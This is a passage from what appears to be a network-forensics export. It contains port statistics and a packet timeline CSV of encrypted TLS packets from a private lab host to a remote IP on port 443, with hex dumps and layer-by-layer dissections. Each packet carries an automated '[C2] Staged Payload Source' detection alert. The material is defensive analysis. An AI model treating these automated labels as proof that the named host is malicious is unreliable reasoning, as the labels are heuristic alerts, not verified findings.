%\n8080,115,7662,29.04%,22.71%\n80,51,4302,12.88%,12.75%\n50096,23,1507,5.81%,4.47%\n50144,23,1507,5.81%,4.47%\n50161,23,1507,5.81%,4.47%\n50176,23,1507,5.81%,4.47%\n443,18,3748,4.55%,11.11%\n50095,16,1069,4.04%,3.17%\n50062,14,1155,3.54%,3.42%\n21,14,1155,3.54%,3.42%\n50101,11,923,2.78%,2.74%\n50145,11,898,2.78%,2.66%\n50162,11,899,2.78%,2.66%\n50177,11,899,2.78%,2.66%\n49899,9,1278,2.27%,3.79%\n49892,9,2470,2.27%,7.32%\n50180,7,565,1.77%,1.67%\n50181,7,683,1.77%,2.02%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-04-29 14:28:58.193546,1,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fd40008006e959c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....Y..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",[C2] Staged Payload Source (Stages: 8); [TSHARK-OBJECT] %3ffields=countryCode; [TSHARK-OBJECT] %3ffields=countryCode(2); [TSHARK-OBJECT] %3ffields=countryCode(3); [TSHARK-OBJECT] %3ffields=countryCode(4); [TSHARK-OBJECT] object44; [TSHARK-OBJECT] %3ffields=countryCode(1),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59737, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:28:58.521026,2,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6fe40008006e958c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....X..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59736, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:28:59.127220,3,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb6ff40008006e957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.....@....W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:00.331285,4,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb700000080062957c0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871f13a980c735cafc54b5ddac2fdb1fadb6e73a0afcfb0ca4e560fa9347b507841401ca5c,\"RT.W..RT.{....E.........)W..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......5..T.../.....:\n.....`..G......\\\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46848, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1f\\\\x13\\\\xa9\\\\x80\\\\xc75\\\\xca\\\\xfcT\\\\xb5\\\\xdd\\\\xac/\\\\xdb\\\\x1f\\\\xad\\\\xb6\\\\xe7:\\\\n\\\\xfc\\\\xfb\\\\x0c\\\\xa4\\\\xe5`\\\\xfa\\\\x93G\\\\xb5\\\\x07\\\\x84\\\\x14\\\\x01\\\\xca\\\\\\\\\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:00.543456,5,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70140008006e8c0c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f686c0c53a57ae7725ee85af8450a9656201fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd5c8557e5fc14703cc0b15f6e1a446bea,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46849, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59584, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\xc0\\\\xc5:W\\\\xaew%\\\\xee\\\\x85\\\\xaf\\\\x84P\\\\xa9eb\\\\x01\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\\\\\\\\\x85W\\\\xe5\\\\xfc\\\\x14p<\\\\xc0\\\\xb1_n\\\\x1aDk\\\\xea' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:00.836897,6,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70240008006e8bfc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f686c0c53a57ae7725ee85af8450a9656201fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd5c8557e5fc14703cc0b15f6e1a446bea,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59583, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\xc0\\\\xc5:W\\\\xaew%\\\\xee\\\\x85\\\\xaf\\\\x84P\\\\xa9eb\\\\x01\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\\\\\\\\\x85W\\\\xe5\\\\xfc\\\\x14p<\\\\xc0\\\\xb1_n\\\\x1aDk\\\\xea' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-29 14:29:01.446243,7,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70340008006e8bec0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f686c0c53a57ae7725ee85af8450a9656201fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd5c8557e5fc14703cc0b15f6e1a446bea,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....:W.w%....P.eb..7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1....\\.W...p<.._n.Dk.\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46851, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59582, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\xc0\\\\xc5:W\\\\xaew%\\\\xee\\\\x85\\\\xaf\\\\x84P\\\\xa9eb\\\\x01\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\